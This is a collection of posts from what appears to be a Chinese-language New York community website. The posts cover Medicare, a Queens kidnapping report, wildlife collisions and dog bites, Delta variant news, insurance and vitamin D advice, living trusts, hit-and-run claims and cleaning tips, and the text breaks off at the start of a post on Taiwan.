您申请了Medicare A部分和B部分之后,不需要每年再申请,Medicare保险部门每年会给您邮寄新的保险卡。

由于Medicare住院、看医生和配药的保险计划是分几个部分组成的,因此搞懂各个部分覆盖的福利范围对于您选择合适的保险计划是非常重要的。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

 

2021-07-19 / by / in , ,
骇人!皇后区5岁男童遭黑人男子绑架 其母搏命20秒从车窗夺回

7月16日,纽约市警方发布了一个画面惊险的视频,在皇后区的牙买加社区,一名壮硕的黑人男子把一名5岁男童绑架上车,男童母亲奋力将儿子从车窗夺回。纽约警方正在通缉两名嫌犯。

事情发生在当地时间7月15日(周四)晚上约8点,皇后区牙买加山边大道117-02号(117-02 Hillside Avenue),视频显示,这位母亲带着三个孩子正在路上行走,5岁男童走在最前面,他的母亲就在他身后几米远的位置。一名身形壮硕的黑人男子突然从一辆红色的车上下来,冲到孩子面前,一把抱起男童往车上跑去。随后,绑匪打开车的左后门将男童放到座位上。马上打开左前门想开车逃走。视频请点这里

这位母亲和另外两个儿童立即跑到车边,把手和身子伸进车的右边两个车窗,她们三人奋力将车里的5岁男童从右前方的车窗位置给抢了出来。

在事发时,副驾驶位置上还坐着另外一名嫌犯。

从男童被抱走,再到被母亲抢回来,这个过程在警方发布的视频中看,一共是20秒钟。

 

男童没有受伤。目前嫌犯仍在逃。

警方表示,目前没有相关证据表明嫌犯与这对母子认识。警方说,其中一名嫌犯是个 30 多岁的男子,最后一次出现时身穿白色 T 恤、灰色短裤和深色运动鞋。另外一名嫌犯是一个50 至 60 岁的男子,戴眼镜,最后一次出现时身穿橙色衬衫、蓝色牛仔裤和黑色鞋子。

警方希望透过发布两名嫌犯的照片和视频,能获得破案线索。欢迎市民拨打止罪热线1-800-577-TIPS (8477),或登陆止罪网站WWW.NYPDCRIMESTOPPERS.COM,或上推特@NYPDTips,提供对该案件的知情信息。警方不会追踪或泄露信息来源。

2021-07-17 / by / in ,
北美驾车,撞到野生动物怎么办?造成的车损,保险要怎么赔?|综合意外险(Comprehensive)

在美国开车,你可能经常会在公路附件看到浣熊、土狼和鹿等动物,甚至在开阔的地方会看到野马、野牛等大型动物。大多数时候,这些野生动物都知道要远离道路上嘈杂的车辆,但有时它们也会突然出现在公路上。没有人想在开车时撞到它们,但是这个时候就极易酿成交通事故。

有统计数据显示,美国平均每秒就有一只动物死于车轮之下,最常见的是鸟类和鼠兔这样的小型动物。每年有150万只鹿和汽车相撞,占大中型动物导致车祸数量的九成。10-12月是野鹿交配的季节,是此类车祸的高发期。全美每年超过100人死于车鹿相撞的事故,超过1.2万人受伤。

那么如果不幸发生这样的事故,该咋办呢?造成的车损,保险要怎么赔呢?

在开车时,发现有动物在公路上该咋办?

发现有动物在公路上,最常见也是最安全的应对方法就是减速慢行,如果有必要再停车。

煞车前必须观察后视镜,确保和后车有一定的跟车距离。

要与前车保持较大车距,避免前方车辆突然刹车引起的追尾事故。

如果遇到小型动物,要松开油门,减速,快速鸣笛,一般情况下小动物会远远的避开。

如果遇到大中型动物,可以先鸣笛警告,观察周围车流的情况,在安全的情况下可以变道。最好不要直接撞上去,因为正面冲撞像鹿牛马这样体积较大的动物,很有可能撞破挡风玻璃,对人造成伤害。

切记,在紧急的情况下,千万不能猛打方向盘。这样很容易让车失控,造成致命的危险。

也不能急刹车和突然变道,高速行驶突然急刹车容易造成翻车,或造成后方来车追尾。

撞到动物以后应该怎么办?

1. 安全时靠边停车

如果在开车时不幸撞到了野生动物,应该首先保持冷静并尝试重新控制您的车辆,尽可能安全地将车停在路边。打开双跳灯,以便其他司机看到你。

撞到大型动物,如鹿或麋鹿,很容易使您的车辆损坏。根据碰撞的严重程度,浣熊等较小的动物也可能造成严重损害。

检查您自己和您的乘客是否有任何可能需要立即就医的严重伤害。如果您或乘客需要医疗护理,请联系紧急服务。

2. 联系警方

导致车辆损坏的事故并不总是需要报警。但是,如果碰撞后道路上有障碍物,则应该报警。例如,您在开车时撞死了一只鹿。这只动物仍然躺在道路上,可能对其他司机构成潜在危险。通过立即报警,您可以减少其他人撞到动物或您的车辆的机会。

大多数情况下,警察会向您提问并填写一份警察报告。当您提交保险索赔时,此报告也可能对您有所帮助。

3. 检查您的车辆是否有损坏

大型动物可能会对您的汽车车身造成严重损坏,包括凹痕或保险杠损坏,然后拍下事故照片。

确保获得车辆任何损坏的清晰图片,例如损坏的灯、镜子或凹陷的保险杠。

4. 避免接近动物

在发生交通事故后,您永远不应该试图接近受伤的动物。

相反,应该联系动物管理局,或当地的兽医办公室或家养宠物的救援组织。这不仅使受伤的生物有更好的康复机会,而且还可以保护您免受受困动物的潜在伤害。

他们会安排清理动物尸体或是将还存活的动物送到动物医院进行救治。

如果是撞到了小动物,比如一只小狼,而你的车子也没有受损,那么是可以不用报警的,但最好通知动物管理局来处理。

5. 联系您的保险公司

如果您的汽车损坏并且您有适用的碰撞或全面保险,请联系 Wawanesa 的 24/7 索赔服务。

如果您的汽车无法驾驶并且需要一辆拖车,如果您有全面的或碰撞保险,索赔服务团队可以帮助您安排与您的索赔相关的拖车。

如果您没有此保险,但购买了可选的道路救援保险,您应该查看道路救援卡上的信息以寻求帮助。

在路上撞到动物?保险怎么赔?

在汽车保险中有两部分是用来赔偿在发生事故时自己车的损失的,分别是:碰撞险(Collision)和综合意外险(Comprehensive),这种情况下的损失, 要用哪一部分理赔偿呢?答案是:综合意外险(Comprehensive)

碰撞险(Collision)在保险条款里的解释是:赔偿车辆与其他车辆或者建筑物所接触造成的你自己的车辆的损失,然而动物,并不包括在内。

综合意外险包括:各类天灾(冰雹,飓风),树倒了砸到,被盗,被砸玻璃,淹水,自燃,还有与动物的接触。

所以在路上撞到动物,保险公司会用您的综合意外险(Comprehensive)去理赔,如果您没有这项保险,即便是有碰撞险(Collision)保险公司是会拒绝理赔的。

综合意外险(Comprehensive),这项保险的价格不是很高,在购买汽车保险的时候,非常建议大家购买。

 

大多数动物在清晨或傍晚变得更加活跃。这是许多野生生物寻找食物或在它们喜欢的栖息地之间移动的时候。如果您在这些时间开车,请务必密切注意动物穿越标志。

2021-07-17 / by / in , , , , , ,
纽约意外伤害律师 在纽约被狗咬伤如何索赔?|遭到恶犬攻击时,该咋办?

据统计,在纽约市大约有超过50万只狗。虽然大多数的狗都不会对人造成伤害,但是被狗咬伤仍然是一种较常见的现象。

根据美国疾病预防控制中心的数据,全美每年约有近9万人因被狗咬伤而接受治疗。仅在纽约市,估计每年就有4,000起被狗咬伤的案件,每天有超过10起。

不幸的是,与成年人相比,17岁以下的未成年人因狗咬伤而去医院就诊的比例要大得多。孩子们通常意识不到,不同的狗在不同的情况下可能做出意外的反应,拿食物挑逗或拉扯狗的尾巴,有的时候是很危险的。

在纽约被狗咬伤怎样索赔?

在纽约,若一只狗咬伤另一个人或动物,那么狗的主人就要支付一切与造成的伤害相关的医疗或兽医费用。受伤的人也可以因伤痛,工资损失和其他损失而得到额外补偿。

纽约农业与市场法典第 123 节,规定了当主人的狗伤害他人时狗主人的潜在民事责任。该法规涵盖了咬伤和非咬伤造成的伤害,例如狗将人撞倒在地时所遭受的伤害。

该法规规定,如果“危险犬”的主人对他人、牲畜或他人的宠物(如残疾服务犬)造成伤害,则该狗的主人应承担责任。

但是,该法规特别规定,执行其职责的执法犬不能被视为“危险犬”。

根据纽约的“危险犬”法规,狗主人对因“危险犬”造成的伤害而产生的所有医疗费用“负有严格责任”。这意味着,如果发现狗有危险,狗的主人必须支付受伤者的医疗费用(或治疗牲畜或宠物受伤的费用),即使狗主人已采取合理的预防措施来控制或约束狗。

除了医疗费用外,如果狗咬受害者可以证明狗主人疏忽大意,他们有权获得与任何其他人身伤害受害者相同类型的赔偿。这可能包括以下费用:

•未来的医疗
•整形手术或重建手术
•物理治疗和康复
•护理费用
•工资损失
•失去未来的赚钱能力
•财产损失
•生活质量下降
•情绪困扰或创伤后应激障碍
•毁容和疤痕
•过失致死的赔偿

在纽约,狗咬伤诉讼案件的诉讼时效期为三年。

请致电纽约金牌资讯网经验丰富的人身伤害律师寻求帮助。

被狗攻击时该怎么办?

当狗试图袭击你的时候,应该如何正确做出反应?首先要保持镇定,不要逃跑,狗具有追捕猎物的天性,所以天生对快速移动的物体特别敏感。所以被狗纠缠的时候,站住比逃跑更明智。

用身体的侧面对着狗,最大程度保护面部、颈部等等这些要害部位,并且也更加稳定,不像正面那么容易被扑倒。

不要让它咬到你的手指头,一定要记得时刻把拳头攥紧。

不要与狗对视,正确的方法是你可以弯腰装作捡石头的样子。大部分狗看到这个动作都会吓得后退。当狗对你穷追不舍的时候,你就可以一边虚晃,一边后退。

狗咬人的前兆

一些专业的防狗咬网站,总结了一些狗的肢体语言,可以被视为他们要咬你的前兆。比如跟正常时的状态相比,他们的身体会绷得很直。尾巴会压下,并且不摇动,嘴巴通常也闭得紧紧的。耳朵会直挺挺的并向后方。

这些细节在跟不熟悉的狗接触的时候,一定要格外注意。

如果恶犬开始攻击你了,而你又找不到任何的防身武器,该怎么办?你可以把上衣脱下来,攥在手里当做武器,毕竟狗只有一张嘴,只要它咬住了衣服,你就暂时安全了。

如果要反击的话,可以猛踢狗肚子,用手指插它的眼睛。

当恶犬咬人时,旁观者怎样施救

1. 先用衣服盖住狗的头部 ,遮住狗的眼睛。然后,用手边方便取得的皮带、布条等,用力勒住狗的脖子,向上提高,让狗前腿离地,狗无法呼吸,自然就会松口。

2. 也可以抓住狗的后腿并抬高,这样可以让狗失去平衡,身体悬空的情况下,让它迅速松口。

3 切记,千万不要去打狗,咬人的狗越打越凶,越不会松口。

受害人在被恶犬咬伤以后,要立刻报警并通知动物管理局,避免更多的人受伤。同时应该拍下狗的照片和你伤口的照片。作为起诉狗主人的证据。

正常的情况下,除非被咬成残疾,否则赔偿的金额一般会在一千块美金以内。

被咬伤以后一定要去看医生,由医生决定是否需要打狂犬疫苗。通常纽约的动物管理局会查询这只狗打针的记录,并判断咬伤人的狗是否携带病毒。

2021-07-14 / by / in , ,
纽约卫生局长:警惕Delta变种病毒

传播力超强的印度Delta变种病毒,现在已经成为在纽约市流行的主要病毒株。根据纽约市卫生局最新公布的数据显示,过去4周,印度Delta变种病毒病例数,平均占测序样本数的26%,而上一次公布的四周平均占比为17.1%。

纽约市卫生局长乔克西(Dave Chokshi)12日提醒民众,史坦顿岛最近确诊COVID-19的患者增加,当地民众特别要注意自身的防护措施。他表示,“Delta变种病毒这种新病毒株的传染性特别强,并可能出现严重并发症。”

纽约市卫生局公布的疫情数据显示,纽约市染疫病例略有增加,7月10日的7天平均确诊率为1.27%、7天平均确诊病例数为328人,7天平均确诊率较4周前的数据增长32%。

根据市府公开资料,史坦顿岛远高于全市平均水平,截止到7月8日,该区的7天平均阳性率为2.34%。其中,史坦顿岛托滕维尔(Tottenville)所在的10307邮政编号,确诊率4.64%,目前全市最高。史坦顿岛格雷特凯留斯(Great Kills)所在的10308邮政编号,确诊率4.23%,紧随其后。

纽约市长白思豪表示,虽然全市确诊率比5、6月份的数据有所上升,但是全市的住院率保持在非常低的水平,住院率较同期下降24%。

病毒学家证明Delta变种病毒,比其它毒株具有更多的突变性,更加容易传播,而且会造成更严重并发症。英国政府的病毒学家表示,印度Delta变种毒株比英国Alpha变种的传染性高60%。

目前Delta变种病毒已经存在于全球至少104个国家。美国疾病控制与预防中心(Centers for Disease Control and Prevention,简称CDC)的新冠阳性检测样本的基因序列显示,截至7月3日的两周里,Delta变种占到美国新冠感染病例的51.7%。而英国变种病毒则仅占28.7%;世界卫生组织(World Health Organization)也预计Delta将成为世界主要新冠变种病毒。

目前,美国约57%的成年人已经完全接种疫苗。但是因为印度Delta变种病毒的潜在风险,没有迹象表明美国疾控中心(CDC)会改变5月份发布的建议,即完全接种过疫苗的人不需要戴口罩。

2021-07-14 / by / in , , , ,
纽约怎样办理伤残工资保险?

纽约怎样办理伤残工资保险/伤残工资保险/美国工伤赔偿标准/美国工伤赔偿计算/美国工伤保险条例2019/美国工伤赔偿金额/工伤赔偿流程/餐馆 工伤、纽约工伤赔偿标准

受伤生病了谁给你发工资呢?

我一个朋友的女儿,28岁,住在布鲁伦8大道附近,一天下班步行回家,晚上大约7:30左右,走在六大道和65街交叉路口转弯的时候,被一辆车撞到,跨骨骨折了,住进医院两个月,大半年都不能上班。他是自己租房子住的,父母在国内也帮不上她,这突如其来的横祸,一下子让她陷入没钱的困境之中,不能上班哪里有钱付房租呢?只好向亲属朋友借钱度日。

如果她之前有买伤残工资保险,这种情况下,保险公司就会每月给她发工资了,以她平时月赚2500算,保险公司会每月给她发的伤残工资,至少每个月有$1500,直到她痊愈,生活费和房租费就都解决了。

不要以为受伤生病离自己很远。据统计,在65岁之前,一个人的一生中,受伤生病的概率,是四分之一,就是四个人中就会有一个人受伤生病不能工作至少180天,甚至几年。但关于伤残工资保险,我们很多人知之甚少。我们都知道保护自己生命去买人寿保险,买保护车子的保险,买保护房子的保险,却不知道买保护自己工资的伤残保险。

其实,伤残工资保险才是我们生存的主要依靠,才是最重要的。一个人一旦没有工资收入了,就没有了一切,怎么去付房租,怎么去还房屋贷款,如何去还汽车贷款?怎么生存?所以,我们每一个有工作的人都要给自己买一个伤残工资保险,保护我们的工资,以防不测。你们会问,这种伤残工资保险是不是保费很贵?

其实,这种伤残工资保险的保费很便宜,保费和你的工资挂钩,你工资高,你每月拿到的伤残工资就多,每月可拿$10,000 到$15,000不等;同理,工资低你拿到的伤残工资也低,保费也低,一年才几百块,但伤残工资至少每月都有$1000。

我们公司有个统计,截止到2018年,在我们万通公司(MassMutual)有235,000人之多获得伤残工资赔偿,赔偿额超过$3亿四千6百万。在这些人中,通常肌肉骨关节受伤的占29.7%,得癌症的占14.8%,手术的占12.3%,头脑精神障碍的占8.6%,心脏系统出问题的占8.1%。从中可以看出,交通意外事故是主要伤残的根本原因。

我们说疾病是可以预防的,只要健康饮食,适当运动,再加上好心情,进我们的认知,让自己活得健康些,尽量不生病,少生病。但意外事故是无法预防的,我们都不知道明天会发生什么,风险无处不在,所以转移风险的最好途径,就是未雨绸缪,把伤残风险转移给保险公司承担。
伤残工资保险分短期和长期两种,短期的只保半年,长期的可以保到65岁,67岁,甚至还可以保到70岁。通常都要买两种,因为保护工资的伤残保险,与我们的日常生活息息相关,是最最重要的保障。

想了解详细信息,请咨询资深专业理财师Susan 牛凤昀,办公室电话号码:718-833-1889,手提电话:646-239-9778, Email:fniu@financialguide.com

2021-07-09 / by / in
我们需要补充维生素D吗?

维生素D/怎样补充维生素D/缺维生素吃什么/什么食物含维生素D/维生素D每天的摄入量是多少/维生素D的功效/什么时候我们需要补充维生素D.

在我们内科诊所近期的常规体检数据分析中发现:80%的体检病人有或多或少的维生素D缺乏。病人最常问的问题是“我们为什么会缺少维生素D,我们需要补充维生素D 吗?”那么我们来谈一下维生素D 对身体的作用以及什么时候我们需要补充维生素D.

维生素D是四大脂溶性维生素的一种,也是一种膜性抗氧化剂 (MEMBRANE ANTIOXIDANT).它不仅可以维持正常骨骼和牙齿的健康,而且在骨骼外系统中也起到重要的作用。比如它可以增强免疫系统,刺激神经发育,调节钙磷的吸收代谢。还有研究表面它可以支持心血管健康,调解胰岛素,甚至在预防病毒感染和癌症中都有潜在影响。

 

那么什么样的人群更需要补充维生素?我们又如何早期发现维生素D缺乏呢?

首先以下几类人群更容易出现维生素D缺乏, 包括长期居于室内不接受太阳光照的人,肥胖症,有骨质疏松病者,长期胃肠道疾病吸收障碍者,以及皮肤色深者

维生素D缺乏最常见的早期表象有以下几个,身体疲乏,不明原因的骨头疼痛,肌肉无力抽搐,或者无缘由心情抑郁没有精神,以及容易出汗和胃肠道不适。如果出现以上表象, 在体检时可以向家庭医生提出检测维生素D。目前实验室用来衡量维生素D水平的检测项目是血清25 (OH)D 浓度。大多学者推荐正常25(OH)D浓度为30-50NG/ML. 25 (OH)D 浓度低于30NG/ML为轻度维生素D低下,20NG/ML为中度维生素D缺乏,而低于12NG/ ML则为极度维生素D缺乏。

维生素D缺乏轻者可以造成肌肉乏力,骨头疼痛,如果长期维生素D 缺乏,胃肠道的钙磷吸收减弱,会导致低钙血症,继发性高甲状旁腺症,重者导致骨质疏松,容易出现摔倒骨折。近年的研究中发现,低维生素D水平和增加心血管发病率有正相关性。另外一些观察性实验发现,维生素D缺乏和一些癌症比如大肠癌,卵巢癌及乳房癌有潜在联系。

当我们发现有维生素D低下或缺乏的时候,及时补充维生素D是很重要的。首选的非药物治疗是增强日照多参与户外运动,因为90%的维生素D是从日照中得到吸收的。我们也可以从富含维生素D的食物中来摄取维生素D,比如深海鱼类,鸡蛋,牛奶,强化谷物及果汁等。
药物治疗方面,在有选择的情况下,维生素D3的效果要优于维生素D2. 如果人体的吸收功能正常,每100IU的维生素D会提高25 (OH) D浓度0.7-1.0NG/ML.
极度维生素D缺乏下(25 (OH) D<12NG/ML), 需要大剂量的维生素D 50000IU 一周一次持续6-8周。对于中度维生素D缺乏 (25 (OH) D 12-20NG/ML) 的情况下,可以服用维生素D 1000 IU 一天一次。对于轻度维生素D低下 (25 (OH) D 20-30NG/ML), 可以服用维生素D 600-800 IU 一天一次。在已经出现骨质疏松的患者,维生素D需要和钙片搭配服用。


在孕妇群体,每天服用1000IU-2000IU的维生素D并保持25(OH)D浓度>30NG/ML对胎儿的骨骼发育是有利的。

而在对维生素D的代谢异常从而导致的维生素D缺乏患者群体,比如肾病和肝病患者, 我们可以用维生素D代谢物来补充或替代治疗。比如CALCIDIOL(25(OH)D)不需要肝脏的25羟基化,可以用于肝病患者。 CALCITRIOL (1,25-DIHYDROXYVITAMIN D)则可以用与CALCITRIOL 合成减少的慢性肾病患者。

我们建议在新冠疫情中,更积极的补充维生素D是有益的, 因为相当一部分实验研究也报道了维生素D对呼吸道感染的免疫调节及潜在抗感染作用。一些研究数据发现维生素D缺乏和新冠感染风险和不良的预后有关联。但对于维生素D是否能预防或治疗新冠病毒,现在还没有直接的证据来支持,我们期待有更多的实验研究来探讨。

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2021-07-09 / by / in
在美遗产规划必看,生前信托(Living Trust)全解析|遗嘱与生前信托的区别|美国纽约信托遗产律师

作为一种遗产规划工具,美国的生前信托制度,能够很好地保护委托人的财产隐私,可以绕过遗嘱认证,即州法院在某人去世后处理遗产的程序。与遗嘱相比,生前信托通常可以更快、更轻松地将遗产分配给您的受益人。在美国所有五十个州都可以建立生前信托。

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什么是生前信托(Living Trust)

生前信托(Living Trust),是一种常见的,可部分替代遗嘱的书面法律文件,可以让委托人在过世后将财产分配给指定的受益人,同时避免遗嘱认证。

设立生前信托后,委托人可将个人资产,如房产、银行账户、珠宝、股票、人寿保单等,交付给信托,由受托人为您管理这些资产,并在委托人去世后转让给受益人。

大多数委托人会指定自己为管理信托资产的受托人,这样就可以在有生之年继续控制自己的资产。

根据生前信托的条款,委托人在去世后,分配信托资产的人称为继任受托人。继任受托人须年满18岁,不能指定未成年子女作为继任受托人。

生前信托的类型

生前信托有两种主要的类型:可撤销生前信托(Revocable Living Trust)和不可撤销生前信托(Irrevocable living trust)。

  • 可撤销生前信托

可撤销生前信托是最常见和最灵活的生前信托类型。人们讲的“生前信托”,通常就是指可撤销生前信托。

作为可撤销生前信托的授予人,可以在去世前随时撤销或更改信托。可以将更多资产投入信托,指定新受益人或删除旧受益人,也可以更改信托准则,并出售信托财产。

在委托人去世后,信托将成为不可撤销的,因此无法取消或更改。继任受托人必须遵循信托声明中关于分配信托资产的要求。

  • 不可撤销的生前信托

不可撤销的信托在建立以后,无法取消或更改。

委托人将财产所有权转移到给此类生前信托。这时所有的资产属于信托,委托人无法更改受益人、更新说明或出售资产。

不可撤销信托条款的变更通常需要受托人和信托的所有受益人共同签署协议,或法官的命令。

不可撤销信托不太常见。富人可能会让他们逃避债权人和税收。

与可撤销信托不同,不可撤销信托可以避免某些遗产税,因为它们实际上从您的应税遗产中移除了您的资产。对于可撤销的生前信托而言,情况并非如此,因此不可撤销的信托可能对那些遗产价值超过联邦遗产税免税额的人更有用。

遗嘱与生前信托的区别

遗嘱(wills)和信托(trusts)都是重要的遗产规划(estate planning)法律文件。

遗嘱是遗产规划最基本的工具。通过遗嘱,可以对自己的财产做出分配,也可以为未成年子女指定监护人,某个成年人,即遗嘱执行人(executor),来管理自己的遗产。

遗嘱必须通过法院认证手续而信托不需要。通常情况下,遗嘱人去世之时遗嘱生效,然后遗嘱中的财产要先转移到法院冻结,经历长达几个月甚至更长时间认证程序(Probate),才能最终交给继承人继承。

因为遗嘱需要通过遗嘱认证,遗嘱本身成为法院的公共记录。

遗嘱认证的费用,在纽约州法院收费不高,根据遗产价值大小, 费用从$45到$1,250不等,遗产在五十万以上,最高收一个固定费用$1,250。

有兴趣的朋友自己可以去纽约法院网站查看(http://ww2.nycourts.gov/courts/11jd/surrogates/fees.shtml)。

与遗嘱不同的是,生前信托中持有的资产在分配给您的受益人(信托设立人指定接收资产的人)之前不必经过遗嘱认证,也不需要经过法院许可。这可以帮助您的亲人避免通常冗长、昂贵且公开的法律程序。

生前信托是私人法律文件,能保护设立人的财产隐私。除非受托人或受益人特别向法院要求,否则相关书面文件不会公开。

生前信托如何运作

您的生前信托拥有您转移给它的资产的所有权。在您去世时,您的继任受托人将根据您生前信托的条款分配这些资产。

由于生前信托是可撤销的,因此作为授予人,即使在您将资产的所有权转让给信托之后,仍保留对信托资产的控制权。

生前信托的可撤销性质意味着您可以像在将资产转移到信托之前一样处理信托持有的资产。例如,您可以:

  • 按揭或再融资资产
  • 从信托中移除资产
  • 出售或赠送信托中的任何或所有资产
  • 可以随时完全终止信托。由于您可以完全控制信托条款,您可以随时更改信托的受益人以及继任受托人。

生前信托的缺点

设立生前信托也有许多缺点。包括:

  • 产权转让
    虽然设立信托本身并不是特别复杂,但您希望信托持有的任何资产,都需要正确转移到信托中。特别是对于您拥有所有权的资产,例如房地产,必须对所有权文件本身进行所有权的合法变更。
  • 费用
    所有权转让过程需要额外的文书工作,必须支付申请费以向有关当局登记变更。如果您要处理多项产权变更或更复杂的资产,最好咨询经验丰富的遗产规划律师为您转让产权。这些费用都是与创建生前信托本身分开的额外费用。
  • 税收
    虽然生前信托拥有您转移给它的财产,您仍将继续为这些资产产生的收入纳税。

生前信托的常见问题

1.设立生前信托最常见的目的是什么?

在美国社会设立生前信托,最常见的目的有两个:保护继承人是未成年子女的情况和规避遗产认证程序。

2. 生前信托怎样保护继承人是未成年子女的情况

如果您的一个受益人是未成年人,您可以在您的生前信托中为该受益人设立信托,直到他们成年,或者您认为他们已经成熟到可以处理遗产的年龄。

生前信托可以为未成年子女持有这笔钱。许多信托委托人愿意让他们的孩子在一段时间内(如25、30 和 35 岁)获得交错的资金。

3. 怎样选择合适的受托人

生前信托允许设立人同时兼做受托人,当然设立人也可以指定其他人作为受托人。

一般夫妻两人会同时作为信托成立人和受托人。单身人士有自己担任受托人的,也有把成年子女加上作为共同受托人。也有人会用专业信托公司做为受托人来管理自己的信托财产。

4.是否要为生前信托支付遗产税?

是的,生前信托的收益人要支付遗产税。

但是,遗产税仅适用于特别大的遗产,不会影响大多数人。2020年纽约州遗产税的起算额度是585万美元。 也就是说传给下一代的财产,不论是生前以赠与还是生后以遗嘱/非避税信托的方式,不论是什么形式,投资账户、房产、人寿保险、退休金、存款等,总共加起来如果超过585万美元,就会引发纽约州的遗产税, 而税率根据超出部分的价值,最高可达16%。

注:本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯经验丰富的律师。


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2021-07-08 / by / in , ,
在纽约遇到肇事逃逸该咋办?怎样索赔?|什么是纽约州MVAIC|纽约意外伤害律师

在纽约,发生交通事故以后,肇事者逃逸的案件超过了10%。如果不幸遇到了这种情况,应该如何处理?要怎么样索赔呢?

在纽约遇到肇事逃逸交通事故该怎么办?

● 如果发生交通事故后,肇事者逃逸,首先要尽量的保持镇静,确定你的位置并拨打 911。

● 不要想着去追他。因为对方逃逸,司机可能醉酒或携带武器,他在慌乱中很有可能不会遵守交通规则,有可能会闯红灯乱开,这样你去追他的话,那对你、对公众都是很危险的。

● 在等待救援人员到达时,尽量记住对方的车牌和驾驶员的特征,以及肇事车辆的所有详细信息,看看是否能回忆起汽车的品牌或型号、颜色等任何详细信息。

● 如果有任何目击证人,要收集他们的姓名和联系方式。当警察到达时,你或其他证人提供的任何信息都将有助于评估情况。

● 拍下你和事故现场的照片。一张照片可能胜过一千个字,拍几张照片是记录损坏情况和事故周围情况的一种简单快捷的方法。

纽约州机动车事故赔偿机构MVAIC提供兜底保险

纽约州机动车事故赔偿基金((Motor Vehicle Accident Indemnification Corporation,简称MVAIC))会对遇到肇事逃逸的受害者进行赔偿,提供兜底保险。你可以咨询律师,也可以直接联系MVAIC机构。 MVAIC电话646-205-7800,电邮HelpDesk@mvaic.com。

必须在事故发生后的24小时之内报告该事故,否则不能向MVAIC提出索赔,尤其是肇事逃逸的事故。提交给MVAIC的所有索赔都要经过审核才能获得资格。

什么是纽约州MVAIC

纽约市政府机动车事故赔偿基金( MVAIC),是由纽约州立法机构于1958年通过颁布纽约保险法第17-A条(现为第52条)而成立。 MVAIC为非营利组织,其资金来源于各保险公司。向有资格的索赔人提供无过失人身伤害赔偿。

通过MVAIC获得赔偿的要求

通过 MVAIC 提交的赔偿申请严格适用于在纽约因车辆在以下情况下受伤的纽约居民:

● 车辆和司机身份不明(肇事逃逸)
● 车辆未投保
● 车辆被盗和/或被拒绝承保

您还必须满足以下要求:

● 您没有其他可获得的保险
● 您不是故障车辆的所有者
● 您不是有过错车主的配偶
● 在事故发生后的24小时之内报告了该事故,

如果可能,你需要提供证据,例如警方报告、医疗报告、损失评估和监控录像等。

MVAIC会举行听证,以确定是否对当事人补偿,以及补偿的额度。当事人可以申请的补偿包括最高每人50,000 美元的无过失医疗费,最高每人25000美元的身体伤害补偿,如果当事人死亡身体伤害补偿最高为50,000 美元美元。

在通过 MVAIC 提交时不遵守要求和时间表将可能导致您的索赔被拒绝。建议您联系一位金牌资讯网经验丰富的意外伤害律师,在律师的帮助向MVAIC提出索赔。

2021-07-05 / by / in , ,
清洁风扇、纱窗及天花板 最简单高效的小妙招

你在为积满灰尘的纱窗、风扇或是天花板烦恼吗?感觉清洁它们真的是一件非常令人痛苦的工作。其实只要掌握一些小技巧,都能轻松搞定,比你想象的要容易。

1. 清洗纱窗和电风扇

首先取下纱窗、风扇页和风扇罩。

准备两个小喷壶,一个喷壶里面加入小苏打,再加一些温热水化开、摇匀。

另一个喷壶加入少许的白醋,加入几滴洗洁精,不用太多,再加入清水、也是摇匀。

先把小苏打水在纱窗和风扇上面喷一遍,每个位置都喷湿。

喷壶可以稍微离远一点,这样喷出来的面积更大。接着把另一个喷壶的白醋水再次喷上一遍。

喷完以后静置三分钟,让灰尘和污垢充分的溶解。

小苏打有很好的去污效果,白醋可以软化污垢,去除顽固污渍。少许洗洁精增加去污效果,并且不会产生很多的泡沫,快速的让污垢容易脱落。

 

过一会儿之后,用一块海绵百洁布在纱窗和风扇上面擦一遍,更彻底的清洁掉顽固的污垢。

可以一边擦一边再喷一些白醋水。洗掉的污渍可以很好的吸附到海绵上面,非常省力。

窗户沟槽也是非常难清理的地方,可以利用割成九宫格状的百洁布,快速刷去藏于沟槽深处的污垢。

家里不要的牙刷,是很好用的清洁小法宝。拿打火机烤一烤,然后把它折成一个直角,成L形状。也可以很好的清扫纱窗轨道沟槽里面的污垢。

请注意:如果自己清洗电风扇,一定要把电源插头拔掉,才可以用湿抹布擦洗,

2. 擦洗玻璃

家里的玻璃长时间不擦,就会变得灰濛濛的。这时可以使用白醋,用一条干抹布沾取,直接擦拭玻璃,玻璃就会亮洁如新。

如果不喜欢白醋刺鼻的气味,可先使用少许的洗碗精加水稀释,再使用沾了清洁液的抹布擦拭。

最后,再使用另一条干抹布直接沾取少许洗涤衣物用的柔软精,再擦一次。柔软精具有防止静电的成分,可延长玻璃维持洁净的时间。

3. 清扫天花板和墙壁

天花板和墙壁高处的蜘蛛网、灰尘,可利用扫帚与旧丝袜, 自制小工具来完成清洁。

将旧丝袜套在扫帚上,清理天花板上的脏污处,由于丝袜磨擦时会产生静电,能将灰尘与蜘蛛网吸附在上面,既防止脏污掉落,也不必大费周章的搬梯子或椅子。

还有一个清扫天花板的小妙招。需要准备的材料是扫把、宽胶带和塑料袋。

首先将扫把装入塑料袋内,将袋口系靳。然后将宽胶带反向缠绕在塑料袋上面,胶带有粘性的一面向外。这样也能很好的清理天花板和墙壁上的灰尘与蜘蛛网。

2021-07-03 / by / in , , , ,
武力攻台?!习近平刚刚宣布:解决台湾!揭秘中共的七寸在哪?

台海战争/台湾问题/台海局势/中共攻台/两岸关系

中共党魁习近平在七月一日中共建党百年大会上,扬言将解决台湾问题,引发高度关注。

习近平想武力攻台?

中共这两年来,屡次跨越台海安全线,用战机挑衅台湾,似乎作出要武力攻台的架势。而这次中共百年党庆的重大日子,习近平又公然表示,要解决台湾问题。难道习近平真的想武力攻台吗?


